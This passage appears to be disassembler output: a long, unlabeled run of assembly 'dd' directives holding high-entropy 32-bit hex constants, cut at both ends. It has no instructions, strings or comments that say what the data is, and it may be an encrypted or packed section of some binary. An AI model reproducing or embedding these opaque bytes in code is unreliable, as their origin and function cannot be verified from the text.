1934E481h, 895B0EA7h, 0F401E962h dd 5551697h, 0FA3C7A81h, 2F7CB308h, 31270E58h, 69A17CC7h dd 28BAE8DFh, 5A6603F3h, 0F65BDD08h, 6FE58098h, 26C5FE32h dd 8ABF008Eh, 6A27AF78h, 0ED8F8A01h, 27386B08h, 379F3802h dd 422DFE61h, 0D3F95E07h, 4E3B77A4h, 0E2BB1D64h, 0BBDD768h dd 0A1EBA213h, 20643007h, 0F65AD302h, 574A68DBh, 8AC833C6h dd 0D01738C1h, 3AD7F45Ah, 0AE3B7E45h, 3914FD39h, 0E928D8BAh dd 3253266Ch, 652E1ED1h, 60DCC941h, 74131AF7h, 2700ACB4h dd 0BC74B289h, 6F8B7D69h, 0EFAD4A60h, 68418796h, 0DD230537h dd 41C2573Ch, 5CBC2AAFh, 85E695DAh, 0F30B4790h, 0DF3DA25Ch dd 8A1FB9A2h, 0E959D45Fh, 5725C7E4h, 2D0B5E54h, 0E973FB5Ch dd 0E62149C0h, 694CE02Eh, 7FB8055Fh, 7C7D3405h, 0F2B0AF3Eh dd 9D5C045Bh, 0A177E931h, 44802ABDh, 27B69BF9h, 4D009D7h dd 0F56A3D2Fh, 3606BEAFh, 0C2057D0Dh, 0F4188617h, 461029FCh dd 0E1EC4E56h, 0A6E33114h, 30EF45h, 155A280h, 16BD68F0h dd 0C5B75D57h, 409504DBh, 29503AE5h, 4B68175Ch, 0BC41FE71h dd 36C95332h, 12FDFC7Ah, 854168E9h, 88C0FE59h, 962B63Eh dd 0FC793AE9h, 6E6842F9h, 0FC75A5F5h, 645D61A1h, 510F303Bh dd 53138268h, 8A000EB0h, 3C6B2EF1h, 7EE92C77h, 24F4ADBEh dd 8B057F0Eh, 0DF5E074Fh, 3FCA7499h, 8D0C9DFEh, 0BD3FC212h dd 0CA011942h, 0E305EA10h, 6F174E09h, 4AEC70F0h, 0C769BC15h dd 2F6097Bh, 63940C0Ch, 44547D27h, 42559517h, 0CF12AAA9h dd 0D35CF805h, 79BC2124h, 0E892D1B4h, 0C5339C4Bh, 65A94205h dd 12AC18BBh, 6B2655A0h, 0F2A597C3h, 4ED09ABh, 5228DE62h dd 0B8D08EAh, 0E06FE91Eh, 1646B8DBh, 0A048F42Ah, 0E459F21Ah dd 185C05ADh, 0AA00204Eh, 0C872B7C9h, 70F9B064h, 16DD301Dh dd 0F17ADE0Ch, 4FB54D4Fh, 9602517Fh, 920F8A4Bh, 0E9339CEAh dd 4B62804Dh, 0FBB7D4AFh, 126016F0h, 0B2E663Ch, 30703C8h dd 94D50B01h, 0E6882494h, 0FA03386Fh, 80EA285Bh, 0CCE91293h dd 1ABC6A10h, 2A5ADD8Fh, 137A8640h, 4AA71495h, 0AC3D8CB9h dd 6151B09h, 6402554Dh, 4951AD4Ch, 4B4D442h, 0C3C7F028h dd 65588072h, 31403038h, 2D6AADEBh, 0AF24407h, 29580880h dd 11E812D7h, 0C7EB71Ah, 35B55657h, 0CF54AE0Ch, 4EF4177Eh dd 0BD0929A3h, 0E829120h, 0E5D74F06h, 89522566h, 1FD16231h dd 0CA444DC4h, 0EB04EDF9h, 0EEF865AEh, 1FFBE617h, 0E7CA01BBh dd 3133250Bh, 1230783Bh, 7741E2C1h, 3D16CE8h, 4207128Ah dd 3C111DD7h, 0C73D764Ch, 370A768Eh, 4756CFC1h, 0EF83704Dh dd 70194F09h, 0E9C90144h, 0CF4C12C2h, 0F30F4F68h, 0AEE90960h dd 12E0E98Fh, 0A56251FAh, 8385A35Dh, 939E58DDh, 2DD5D069h dd 0A53A9461h, 6C853A6Dh, 39C0A290h, 250190A4h, 17FE3A77h dd 446D6660h, 0D859E5Dh, 61F9A4E9h, 74A93E79h, 2A25E9E0h dd 57947F97h, 0C0EB42B5h, 28629826h, 9B00274h, 0AE7E1AE5h dd 1CF5AC03h, 89E924EBh, 5680A7E9h, 9C92BB4Bh, 188CFE05h dd 3877584Ah, 3CAA83A4h, 5EC51706h, 24A67846h, 2941DEDh dd 71126827h, 6B091D4Ch, 7D36207Dh, 0DF98D450h, 3C7FB624h dd 5835E909h, 9D315843h, 7238FFD3h, 85B94FE9h, 402B83BBh dd 74E0C4C1h, 541E2163h, 578C2DC7h, 3FEAA122h, 7C3D1BC1h dd 0AFA873A4h, 0F369DADEh, 0D01E0846h, 0F8885007h, 5358C521h dd 0DAE0EBD9h, 7E6CB75Bh, 68C85627h, 2C6805DEh, 0C0C861A5h dd 73EE2962h, 35AA698h, 5002C3FDh, 4A2E22B8h, 0E0B023FCh dd 9119F8Dh, 160CE95Fh, 316035DEh, 4B0A68C3h, 0EF463439h dd 0A5156EF2h, 0B84C4420h, 99115003h, 53884A56h, 164D2FE9h dd 2E6F0FBDh, 526A997Dh, 0E84EBA28h, 650B1225h, 4DD0294Eh dd 1D3808C2h, 0C6FD51A2h, 8D8E2048h, 1DE9584Fh, 0BACEEE96h dd 0A4C04927h, 8F042CACh, 0D106852h, 367431AAh, 6C267FE2h dd 2B0251CCh, 342F1921h, 8BF4BA2Eh, 0CADB6EB8h, 520BB3ACh dd 5C7A14F6h, 0FB90DC4h, 0CCEDECABh, 0B5592B9Eh, 5C16F997h dd 78C97305h, 0BFF6C436h, 0DE25766Bh, 0C8C7D1A9h, 5E2801FAh dd 2B216294h, 0E90B66CBh, 98551E8Ch, 4E31686Ch, 67173103h dd 0C52A6E39h, 0C5920348h, 0E053B914h, 0AC0532E9h, 978E900Eh dd 62346949h, 0E95E82ACh, 59836994h, 82C1A842h, 55B217BDh dd 140EA0A3h, 0DAEBD713h, 4F96AF8Ch, 7B9AA755h, 1384435Ah dd 85C33981h, 7A118C2Fh, 0A672106h, 9FA10105h, 2D0591D8h dd 341537CEh, 584CCDBCh, 0AE014A00h, 2CDFE966h, 0AB85FC9Ch dd 20ACE64Ch, 8340E005h, 47B8800Ah, 502E650Ch, 29046D31h dd 0E9AC5BDFh, 0FDED8317h, 139BA68Eh, 200C41E9h, 0CED59783h dd 9D27BD7Bh, 0C2B9FE4Ah, 0EB65F701h, 6D0DE986h, 37EB0141h dd 29342C0Ah, 521720FBh, 0C14A4725h, 137E828Bh, 0CAA1EBB4h dd 0CF66FC3Ah, 0F0FF9268h, 4FB73415h, 7EFEAD81h, 0D4FCE962h dd 1C4D2DFBh, 0F7EB5812h, 0D758C95Ah, 0C1423F73h, 51EEA7CDh dd 5701AD72h, 0F3F0947h, 0FDFEFC87h, 79E83B31h, 41D72102h dd 27F44B19h, 0C5312CCDh, 0AF671698h, 0FCB51176h, 0C0997F5h dd 8978EFFFh, 91E093E9h, 13BD285Ch, 17E2E19Ah, 21CB2901h dd 5B87AB6h, 8F8A024Dh, 70341EE4h, 3A16F55Fh, 70281D24h dd 9E5AFE2h, 84D34D7Dh, 88AA4DE9h, 4E13D409h, 18E91D30h dd 0F36B0841h, 5E5C8534h, 7EB328BEh, 9F5AB240h, 72A9057h dd 0F4ED4B68h, 65B71C85h, 9163429Bh, 3403FF0Bh, 0D6F35AEDh dd 7D2C1BA8h, 3E7BE912h, 3F144FBDh, 0BD3E0670h, 66D3F6C0h dd 0D82800FCh, 7F6818F2h, 33975F18h, 27E26C95h, 0DF202D95h dd 559ED6C4h, 0B59F4BFh, 529AB116h, 0DE529ADDh, 29DF49B0h dd 5EA744B9h, 66A304BBh, 5938C25Ah, 0F9D25007h, 78D97752h dd 0F10B549Bh, 0D46E11E6h, 0B5C1EE91h, 0D03EBE27h, 0AA7F1738h dd 0E4F13EFBh, 3B11CD3Eh, 0C1268609h, 63B64AFh, 4F090733h dd 76ACC995h, 8277E9A5h, 3A01C22h, 0E290FC88h, 80045B58h dd 0CAFEF8EAh, 6472CDABh, 0B12FE931h, 4B51513Ah, 5F271147h dd 0CEDDFF2Bh, 28AC8263h dd 6F08DCCDh, 54530B5Bh, 0AB83C7F7h, 0FC409512h, 0E2814200h dd 129A3C25h, 43DA871Fh, 3FFDB7C8h, 52E8CE03h, 0F6B01605h dd 3B164F13h, 0BF98942h, 0E598A24Bh, 141DE502h, 245DE61h dd 1C3CDB21h, 7B35F6C1h, 0A4B84CC5h, 531592BDh, 70670705h dd 680B31B3h, 365E3F85h, 615C55F2h, 307405E9h, 0F62006CDh dd 0C3DB9529h, 0AC10C0A4h, 0AF4C695Eh, 75A53257h, 14B8CF9h dd 0F45C5595h, 40C02420h, 15040593h, 89BC7944h, 517EEAF0h dd 0C21C4F7h, 73E5D3C1h, 53F32DE3h, 0E984224Dh, 0F6FBEAF7h dd 0BC2D0198h, 127BD05h, 704C361h, 89FBA2BFh, 75D955C0h dd 0C0EB52E5h, 10C82E6h, 0F4CB205Fh, 24B8D610h, 3F023D5Dh dd 4040A36Ch, 4852B229h, 5925F49Bh, 0E7802001h, 0B6A06F57h dd 0C1E0F9EFh, 0F9283E16h, 0D85BEAF7h, 18F12808h, 263E06CDh dd 53887424h, 1F9FB2C3h, 0B484A7DAh, 3213AEFCh, 0C2BBF2AEh dd 5FFED66Fh, 571F92D3h, 0E464214Bh, 60DAF07Bh, 91BF1089h dd 7B4CBC29h, 942F204Ah, 0DD2F3C80h, 5DA7B0FCh, 745D95B2h dd 0F56EF0D2h, 0D8F688C7h, 8C0C6A90h, 3E03FC0h, 4437292Ch dd 66F0EFC7h, 0FC969559h, 456ADCB7h, 6817A0E3h, 0CD0ADC2Ah dd 7517C35Fh, 0D9AEAF56h, 58C22F81h, 0A36EDF5Ch, 380BCFB0h dd 554A4D72h, 6E7DC192h, 5D118145h, 909BF23Fh, 0E0ED2812h dd 0FAF73C4Eh, 0FE5D0C40h, 0CD304AEBh, 0D1B87F4Fh, 3535F94Ah dd 0DF0B4D29h, 5312FEBBh, 38E88EE1h, 2A9A49D2h, 6590D49Ch dd 217B5405h, 57C42910h, 98A6C4EAh, 1B4FE801h, 60C4F7ACh dd 375E0FA1h, 0D39CD8A3h, 20CBFEE1h, 0E3F3E90Ch, 0CF0FBD3Eh dd 443B9654h, 0B2D0E065h, 5853FBCAh, 0EA004B66h, 20F968CCh dd 0DEBFD189h, 1FC6B6Ch, 602FE909h, 90DE2986h, 16C29859h dd 0A125D136h, 74DFDD7Dh, 0D52E68A9h, 0FAC2DB3Ch, 0C162C8F9h dd 0FE2D5A58h, 48BB9913h, 5A133447h, 0BEF45CF8h, 0A1A952Ah dd 0F475452Bh, 7B604E76h, 4B012A6Bh, 16FE0EC1h, 0B12B0432h dd 0C9D42A79h, 0E76CAD80h, 0F1BB5A0Fh, 2F9743E4h, 0D400CB2h dd 0D9C5C213h, 55EC6CE1h, 0E30916C4h, 0B4B9104Dh, 0B6FD5925h dd 8935B455h, 0EE9EBA23h, 82B223D7h, 0E71FE982h, 92EA0A5Ch dd 0A43D8E03h, 767A026Dh, 29925BC2h, 53A00359h, 0B5DE8320h dd 9FEC378Bh, 0C346CB35h, 7034C6A9h, 70A2C765h, 6E297584h dd 6F7B6819h, 20F66493h, 0D7EC7AC6h, 0D0A0895Eh, 1C472D09h dd 2CF53C44h, 0EF2104DCh, 0B1AA4F5Dh, 0FDB0204Ah, 4A292D48h dd 0F43D6C3h, 0D59128E0h, 5BDD3142h, 7C4FDCC0h, 62EFD09Eh dd 0F7FED3CAh, 854F704Eh, 0AD2C22C1h, 2F71D9DDh, 0FE92D83Ch dd 4AAC7CC3h, 6FE2293Dh, 9735FFF7h, 6857E02Bh, 81291100h dd 714038F2h, 90E9171Fh, 0B38A41B0h, 0F7CB80EDh, 0C022E398h dd 0F3F208E6h, 0E5E96C1Bh, 0D55B8A7Eh, 0CC1D146h, 4A78ACD6h dd 0B0D87920h, 0BF205568h, 85CE343Fh, 0DD53F1A7h, 22BB6083h dd 0F1C528A0h, 2C9A081Dh, 44A1ED8Eh, 44C2E7E9h, 5135000Fh dd 58BFB170h, 43C30BD3h, 470B3DD0h, 0E713F872h, 0E20E7129h dd 4F7E047h, 2658285h, 145CBB53h, 56551E97h, 5712045Eh dd 0F8E58169h, 5A074705h, 15602614h, 0C20ECEEAh, 4E654BE2h dd 68DB101h, 510A1C08h, 744AD947h, 0A7868549h, 57F61AF1h dd 35BDCAC9h, 2692D062h, 5564AD3Dh, 69F4EACDh, 0A6011471h dd 0F280002Fh, 0D7881CB1h, 4BFE1F5Ah, 0AADC0996h, 0DF894062h dd 3492F44Eh, 3C657720h, 80B9EEC0h, 0F001E3B8h, 5052665Ah dd 0ECD0D8B4h, 8ED4F63Fh, 64FE3FCCh, 0A2C1E4C0h, 0D45572F2h dd 49E009AAh, 0CE9F5EF4h, 0F7F154D2h, 0D6B2A22Eh, 8B8EA5ADh dd 0B500BDF3h, 3DEAF4EEh, 0BA8DD250h, 0E4251EE6h, 1DC45067h dd 96C102B8h, 0B616EF4Ch, 0E85FADA8h, 0CBB03D68h, 0D7CC7D45h dd 7AC5DF40h, 0B0720A27h, 4DC80988h, 0DF56B1CDh, 0F309A0ACh dd 219B750Ch, 6E8EB4C9h, 996FAB3h, 5D5C433Ch, 0C57FF28Eh dd 13BF39ECh, 0A491B82Ah, 0A906A8AEh, 49A2B092h, 50018973h dd 7F58C629h, 0AEA40AECh, 0AA0E39F4h, 0E7D060C2h, 0AE534A6Fh dd 0C029C282h, 9F787C13h, 89E91556h, 86965713h, 0BDA8E919h dd 2A715630h, 0BF676D35h, 0FFDF5882h, 595BFC77h, 59E44829h dd 52ED141h, 0B46B2B34h, 0E3FA07E7h, 6A057C90h, 2DDB3B3Ch dd 568E0EEh, 407CC309h, 4DE7701Eh, 5427362Eh, 6816E4CCh dd 6D3419A5h, 935BFDAAh, 28B19615h, 64EF530h, 0FAB88880h dd 0F463485Eh, 1380672Dh, 0AB11C30Dh, 360F3E78h, 0E453BE10h dd 8CEA943Bh, 670B729h, 45BCD595h, 0A353E919h, 0FF30AC38h dd 0C7C29D8Dh, 44B9E7D7h, 0B2B31214h, 0A1F2B94Fh, 1606BB2Eh dd 909EFABDh, 0AAF9BD53h, 0B6A95F3Eh, 5F685D0Eh, 1DAE3BD8h dd 546444A0h, 7691174Ch, 4A08A4D0h, 4143B4C2h, 0F57A7160h dd 8008042Dh, 1CB6CDDDh, 52D2BF7Ah, 0D601C746h, 59F7409Ah dd 58C38904h, 8DF48268h, 706D4E48h, 236568D8h, 0A7321C6h dd 20CFBA3Dh, 585A5C22h, 510E72B9h, 88FF3404h, 0C025B79Dh dd 804DBC25h, 48BCE688h, 61C2C253h, 0E9D02C7Eh, 54844EBAh dd 0B4973B5Fh, 17414A90h, 0F1488803h, 6E974DE3h, 89AD4573h dd 4E22E73Ch, 1EB5E417h, 5732A680h, 55808DEh, 2D0206A3h dd 0DC685059h, 0F9967D70h, 526C120h, 951ED5BBh, 0EF5F85EFh dd 4003BD2Ch, 7B0BB96Eh, 62277F41h, 0BFDC5786h, 0CB09760Ah dd 0F45BD989h, 50410688h, 3273F656h, 0EC731728h, 6D4B4A09h dd 705A788Dh, 0C112BF10h, 0AFCB7F84h, 4F785145h, 0B0C04AB8h dd 0E919025Ch, 75B05A4Ah, 81315A58h, 567134h, 9F401E68h dd 99F1AD9Bh, 6BF36F10h, 0A4C51C12h, 301ECB70h, 4EC844A6h dd 0AA0512CEh, 6A3086E1h, 23BD8042h, 4538F0E3h, 78CCC4C2h dd 0B846E020h, 0D85F325Bh, 39F8972Eh, 2D2EB12Eh, 283C8B19h dd 9280B120h, 5AB3F842h, 7C73543Ch, 0D72A6804h, 3317AE3Dh dd 26677C6h, 0A1DCB5F5h, 16428904h, 0BD306EDDh, 2D714AD6h dd 5A12B46Fh, 0C0BFE29Fh, 0B3112CBh, 0D2F764A5h, 181A5C74h dd 0B4095D13h, 50E9315Eh, 743701B3h, 6DE96EB0h, 0E8F053D9h dd 295745B9h, 75C9DECFh, 22E4F747h, 1C572117h, 7E32F08h dd 751FCBBBh, 0C9F0AE15h, 37A7ED0h, 1EB831Eh, 431CD1E9h dd 0C080B050h, 6E0C04E0h, 2C851D34h, 30C10E95h, 0CB285840h dd 24F526E9h, 0E29DC293h, 0C3913889h, 0A96C124Ch, 0E430120h dd 7E41BE56h, 0C0411AF2h, 0E5043272h, 81711D65h, 2FA57D31h dd 0EEEC7DDDh, 3DE89725h, 0E0243317h, 7E2D08F0h, 9A4842ABh dd 284BDE0Bh, 0EF2CD287h, 8F5CF585h, 2F00F265h, 0DA12F511h dd 0DADB9909h, 0D2085112h, 0EAB309BCh, 0BD0BEA76h, 479AD5F6h dd 0FDF8A9FFh, 45BF274Eh, 0A7F9882Eh, 0E4DEF60Eh, 0ACB86F42h dd 0C75F6889h, 9538A8B5h, 0CBC8B8CAh, 5881DF3Bh, 0E8AAA444h dd 543750E5h, 436C2B01h, 1EEFE942h, 5547F36Bh, 0C9DDF04Ah dd 0FB0F94B7h, 38BB1864h, 6A285C47h, 6E3B0BE3h, 56BAEh dd 1B83C7A1h, 968A967Dh, 0F0F5C408h, 9BA0511Ah, 0E183668Ch dd 0BB45CD40h, 419737A4h, 0F9269417h, 5FF882E0h, 7A58D505h dd 39102D1Dh, 0DD1F34D3h, 0D1800728h, 8181416Fh, 30187B30h dd 440C626Ah, 2E5A822Fh, 0F2010A81h, 0BC480660h, 92F0EB39h dd 0E105A3B0h, 296D0970h, 92EBA2FAh, 6E8CE13h, 6B2E0900h dd 0B951430Ch, 9D27800Ch dd 187E7420h, 0C37694Dh, 0BE3E55C5h, 39C9037Fh, 0DA484C44h dd 7ECC55E6h, 0DF40CD04h, 0D1AA093Ch, 0C1BD07E1h, 97187BC1h dd 25660370h, 0F50DD2h, 2D7F2C5Ah, 80279E4Ch, 0F16FFBF3h dd 0A04EE907h, 0C1EF5F84h, 0F5606904h, 9C7A9233h, 0D1BE4FC0h dd 0F4957E44h, 17C39462h, 0A030FC8Bh, 0FBE95AD1h, 0BE053792h dd 92835DE1h, 0D082291h, 0B56A8CD8h, 2D8F42F7h, 62960789h dd 0D4D02927h, 275FC095h, 503B4344h, 4E135AE9h, 18337E2h dd 32D2E9CDh, 271230C8h, 0FCC26697h, 40949417h, 68134C50h dd 0F606AF6h, 2246E117h, 27667B62h, 1BFF6F7Bh, 0BF08021Dh dd 6CC5477Fh, 4909A960h, 0E9719704h, 0E7ACF368h, 0CF313598h dd 8C5F9E4h, 802D1F7h, 5F495CE9h, 0B62D9F4Ch, 4F371947h dd 9B83146Bh, 0F527C203h, 8AE11E2Eh, 4E5E010Eh, 91F443DCh dd 0E966A790h, 31315348h, 0C2216614h, 44ACB870h, 1E4FB24Fh dd 0FA2C10E3h, 4D725B1h, 0D8BE5F33h, 4F4021B5h, 99E59F09h dd 0C02729A4h, 25E99731h, 9B721A08h, 0BFE28320h, 527217E0h dd 0A0165B22h, 0B2F454Eh, 0DE949CEh, 6B6E32C2h, 0EAC7439Dh dd 8598DD43h, 0B9807A73h, 97670053h, 3F18163h, 44342529h dd 0C80B84C1h, 0A1D790C8h, 0C28B032Eh, 52D98951h, 7212224Eh dd 72F5E2E8h, 0B265CE2Bh, 0F59D55A0h, 0EF8DB18h, 99F656AAh dd 9546CE93h, 7A48D366h, 9CCAEA9Ch, 6FE6014Ah, 2035D554h dd 6B16914Bh, 83022542h, 40A163D3h, 1D8EEDDBh, 8247E11Ah dd 0E07C70CDh, 0CF51D60h, 5ACA323Eh, 0C52EFEFDh, 0CCF30418h dd 0D5F0FF31h, 0F6D2029Eh, 67FDE9E7h, 0E3A5985Dh, 4BD19B46h dd 0B316EB05h, 212E140Dh, 4AA997F9h, 8D185B3Eh, 2BB9CCDFh dd 65C00914h, 7F0607C9h, 3A6C4385h, 46C81236h, 12CDAF31h dd 0F534FC7Eh, 112028AFh, 0F19953E5h, 71E7ADB8h, 931559Dh dd 719C4751h, 3B636275h, 0B3EFC14h, 2353DB8h, 4125E67Fh dd 0B6A06CEh, 0A05513E2h, 7528CAA2h, 86234860h, 7FC9C24Ah dd 43772CC0h, 0D001260Ah, 0BA34072Dh, 0F5DAECABh, 8400B2AAh dd 31AF2DA1h, 0A5A4CEF5h, 80CFD510h, 9E97D425h, 883144A9h dd 0DD84BAC3h, 73B2E0C1h, 2DFBF2D8h, 3B4029E9h, 610F2DADh dd 6F4DC53Ah, 35B2166Bh, 0FCB16C50h, 6385FD3h, 0BAD9F7CCh dd 0DF0D3E09h, 0FE8F5712h, 6B66EDA9h, 1D09BF7Fh, 82472CC5h dd 55C69DC2h, 0C408EB65h, 0C8290EE1h, 3EF23AEBh, 4A8AB912h dd 0FA1F7DACh, 0A15B972Fh, 2CBE2E6Ah, 40F180B8h, 0C48712Fh dd 83576914h, 0B7B17C89h, 126BD66Ch, 560A022h, 0C433200Fh dd 87E88044h, 19601106h, 9229018h, 93E91AACh, 0D9DD9D67h dd 46DDCBDBh, 18DD5AF6h, 6B796A99h, 0CF6560BFh, 0BD20CB0Fh dd 5654177h, 7F7CE86Eh, 202E6E2Eh, 8B2A5151h, 0E23441E1h dd 1538CA83h, 40ECAA84h, 0A2E8D2C9h, 0E1912CC9h, 820FB589h dd 0BFAC3F5h, 75979FF8h, 0FEDD218Dh, 5EB90978h, 0F52D5A07h dd 745E05E3h, 5B07A132h, 0E945303Eh, 799D5958h, 29AC8A08h dd 9B56C96Ah, 0A807DCC9h, 89014FC4h, 9A7CFA0Bh, 16F1DF49h dd 2B92C39Eh, 564B4BAEh, 9F20967Dh, 529296D3h, 4BE98088h dd 0BAD407DAh, 2ED0B39Dh, 74782BD7h, 8C68016h, 8B6F1DAFh dd 0A0FF9DC1h, 25E939FAh, 833ADE58h, 2A2F68C3h, 10C45316h dd 0E2107A9Fh, 0C796505Fh, 0C3BA6CC0h, 5F129221h, 0A5139252h dd 0EFA0F0D7h, 0C5ED5DE2h, 2F4E1828h, 0D38530E2h, 0BAFD4C3Ch dd 0CB09BE67h, 5F289F1Fh, 0D4683910h, 56F2434Ah, 694221D3h dd 78043348h, 4A13425Ah, 0D6A246FEh, 9A2C4B61h, 0A3C2B821h dd 625907D5h, 9CC03F6h, 1CC0B3E0h, 570AD1B8h, 55050471h dd 810BCB51h, 0C160C9A1h, 20D23B6Ah, 4FB7695Fh, 78B90A20h dd 0E150BF58h, 4D6FE0B7h, 1ED82C2Bh, 0CF2958B8h, 54E917C4h dd 0BF5B48F8h, 0C425B52Bh, 340ECF7Dh, 0FEADBE0Ch, 36E957A0h dd 2844885Eh, 5809D5B2h, 80032440h, 7E096425h, 0E95E4060h dd 0FE4EF098h, 5D10B8F7h, 52561AA8h, 5FD76326h, 0B896301Ah dd 0D64F48C5h, 5609C5EDh, 0F12437E9h, 0CCC0EE5Eh, 5C1763D2h dd 0EF040929h, 0A0D42180h, 5B17FD4Ah, 3EE03ECh, 56F00F4Ch dd 76241804h, 82FEE679h, 0D17F3127h, 0BE8A770h, 76BEA2E9h dd 0ABDB209h, 0AC080F1Fh, 290B8894h, 2A9AF569h, 0F0EAF210h dd 0C0627995h, 25DD6856h, 1E3085A8h, 0CE21D3C6h, 2832A02Fh dd 2649B720h, 0F6A8E05Dh, 31099CB3h, 0BD9EDD10h, 6135E30Fh dd 0D501B344h, 2F940AE8h, 171A4170h, 0AC215706h, 9BD004E1h dd 80BED354h, 0E9DA29A2h, 0F8DEFF7Bh, 21EF9234h, 0F2EB56C5h dd 0C37C7A6Eh, 18C5F235h, 68B001A8h, 0E8947FABh, 5DA58D62h dd 0CA623D7Eh, 86515516h, 1792BA60h, 1D62BCC5h, 277A9CF9h dd 39D18487h, 372BC04h, 4B3C7805h, 3554AD10h, 0BF0097D2h dd 7189172Fh, 0ACF05029h, 3C7AB31Dh, 0D007BCA7h, 0EF72E1BDh dd 0B447061h, 0D058E70Bh, 2AA0F729h, 0CFB8A54Eh, 3BAFE915h dd 0E11F51CEh, 5A0864E3h, 1CE28102h, 4015932Ah, 253D89EEh dd 0AC547C90h, 0B6C7872h, 6C7D3572h, 0F9AF8277h, 8C000992h dd 8F7E29C3h, 2FB4374Ch, 5A23207Dh, 7710E105h, 0A453FA92h dd 45DE9D83h, 561AB824h, 680B7F93h, 3C6C015Fh, 36A7B285h dd 28670F40h, 0D8BA26D2h, 5B5EDF20h, 0AAE76DA8h, 59D983C7h dd 5FB16CF0h, 0AD9631E9h, 532D848h, 0E87D80D7h, 0E97A0401h dd 4EFAF848h, 890C78EEh, 67FC3FF9h, 70A268A0h, 0FB0BC89Bh dd 4B2D51B0h, 3F3BD321h, 0E7FE2084h, 0AB309409h, 5D048073h dd 0BF09F140h, 2A5A13C1h, 0C1E400ADh, 81D1B770h, 8ED2EB69h dd 8C3FAC64h, 9E402751h, 0BAEE4B89h, 9F448598h, 0EA2D1152h dd 0BD32D314h, 0C4E0D1A5h, 0F00B8AB9h, 0DD057D77h, 0E95107E0h dd 48263925h, 880D4440h, 1E138DEEh, 0D0BF0E68h, 5A856E76h dd 5505B925h, 2101FAC1h, 9E972177h, 0F8165B62h, 0EFA492B8h dd 1C8AD4F2h, 2FC68BF2h, 45684E00h, 0B3269A99h, 96A7475Bh dd 12320D3h, 97D15097h, 0A8C2DAB0h, 0C1943D26h, 1007EA00h dd 0ED011968h, 0D0081CA0h, 5D2F141Ch, 0B0253FF4h, 82A06DC1h dd 5A5D7162h, 0DE8F26BCh, 0CB51678Dh, 17084CDCh, 96BD002Fh dd 29947BC3h, 3FD9F1F7h, 0B5B4A217h, 0CB500CCCh, 0CA0E4A03h dd 8BFDC217h, 9518B0E4h, 7F539B41h, 0A22AD539h, 0E3A19368h dd 0D5810D3Dh, 401663E9h, 9B0EE85Fh, 5F43EB58h, 0C2D729B9h dd 316AC7EFh, 4A42B3F4h, 0EB1EDF33h, 760278D2h, 60B3589Bh dd 781CF644h, 0E92C094Bh, 2A7AEF15h, 0A40CD0Ah, 0E20B86BFh dd 7ADBDE50h, 2D033D7Bh, 1D800Bh, 3301852Ah, 0CE94538h dd 165FCD59h, 89AF7368h, 0D7CF3049h, 624B1912h, 3694BE03h dd 0C28395F6h, 329DF034h, 0E9FD1689h, 0E86FC60Bh, 7D5A4294h dd 7E216565h, 96C8210Bh, 0C0092C94h, 0BBD816E2h, 0F7F6FD76h dd 59F970ADh, 31FB4416h, 7EB9E979h, 6E05FA12h, 0B6B4FB2Ah dd 320C5FC3h, 9CD55118h, 22DEA106h, 3BA7C74h, 70551371h dd 0C9E2D2F7h, 0E9EB1650h, 0CDA964C2h, 3940270Fh, 26D5640Eh dd 0A84E2EB7h, 568C05D4h, 14C26CEFh, 6839DC59h, 6D160391h dd 1ACC72A7h, 7A5B72C4h, 58C63DE8h, 0CE0007DCh, 81290C41h dd 0F1321C9h, 0D3BE2070h, 7CEF5877h, 0C4255340h, 3FD065FEh dd 2FD9EC9Fh, 0EB125DC7h, 0CDE86AAh, 353E120Bh, 804BFA46h dd 4FE95508h, 4E6DE809h dd 0EBE6A49Ch, 8CC9A004h, 739F1117h, 0E9C282A3h, 0CC5224F7h dd 0E784B55Ah, 0A2C5F2FBh, 0B5B2605Ch, 0ECEBE04Bh, 7D681759h dd 0C229BC27h, 46D8F664h, 88C8BE94h, 0F2284594h, 0CD661B16h dd 778166E8h, 85446756h, 7442610Ch, 59F280FAh, 0D095881Bh dd 4F5B09BCh, 32903AC7h, 2C93AE19h, 2AEF4427h, 8E86FEE7h dd 0B6E90B6Ah, 4CFDFECFh, 6068123Ah, 4C5350Ah, 0EF263F47h dd 4AAA1C65h, 41BD6672h, 6BFEC10Dh, 975BA438h, 0A320EC34h dd 991908Ah, 3F3A7743h, 203DDF2h, 62D4F381h, 7E318240h dd 0E7CE0E38h, 0E97F3C00h, 0D6956036h, 12B65B71h, 278DFCBDh dd 0C8C4B976h, 10809E89h, 27F253CCh, 207A478Fh, 0AA27773h dd 2D33767Dh, 0E9507374h, 0A50F5ED0h, 0CB6FAFFCh, 0AD35F1D3h dd 158E617Fh, 0F6680081h, 0BF135A06h, 0B2E67B13h, 0E152E90Ch dd 10E0689Ch, 20CAC6B5h, 0BD016CB3h, 7E0E78FCh, 0D041E5D1h dd 800073F0h, 5A13E0C3h, 0CABEEB28h, 800F1F50h, 0CB129F5Ch dd 41FAAEA0h, 0E0066562h, 0D5D48B58h, 0B2130941h, 0D5805FA7h dd 65DE6808h, 0E03966BDh, 3D5F390Ah, 0E9FA3104h, 1D35B8DBh dd 8CCDC6FEh, 9560CAF3h, 0CC01EB0h, 409FD299h, 5EBFBE3Bh dd 313E1D3Dh, 0D0211FF3h, 177ACC2Dh, 6458F568h, 0B5F8ABCEh dd 72A4E04Bh, 84E3633Ch, 31707BBBh, 0E9CB8A80h, 0B98C499Dh dd 0F2C67885h, 8BB85A2Ch, 476C6109h, 6E36827Dh, 78BAA2C9h dd 6917540Bh, 56CF07Fh, 0C11E2005h, 3BCF10Ah, 0BFB45B07h dd 5D2D83FCh, 82D690F5h, 99E92673h, 381BD30h, 28F2C480h dd 0D6ECD5F4h, 6E5559C9h, 45A8C9FCh, 2E9846B2h, 6B444C12h dd 6883A4BAh, 0F41A9729h, 4C3954A7h, 0F31E90Bh, 0D2F63E99h dd 7C0FFB2Bh, 0A167848Fh, 24F24FA4h, 802A659h, 71244FEFh dd 3035B103h, 0BFF5D9CEh, 0F728AD35h, 0FA36EB34h, 5B6A2688h dd 0C7A1B93Bh, 33D4DC88h, 0A35A31B0h, 2CBC8567h, 0C218A35Bh dd 0FE354CE9h, 52349210h, 8CCBAFD7h, 6116B8D4h, 9537FF08h dd 80F53992h, 0BE7BD377h, 8E894E7Fh, 0F2151600h, 50A428h dd 0D21227B8h, 58C52156h, 829B70F3h, 7B416F02h, 0FD9CD3E9h dd 1A931A4Eh, 177C6D88h, 68BA9801h, 1610C12Dh, 885B03Eh dd 64A67C62h, 56602505h, 5A0D8C06h, 5FF9744Dh, 69B0B231h dd 6267F772h, 58BC8E08h, 301243C3h, 84FA45E6h, 2C0813FEh dd 3358FFD4h, 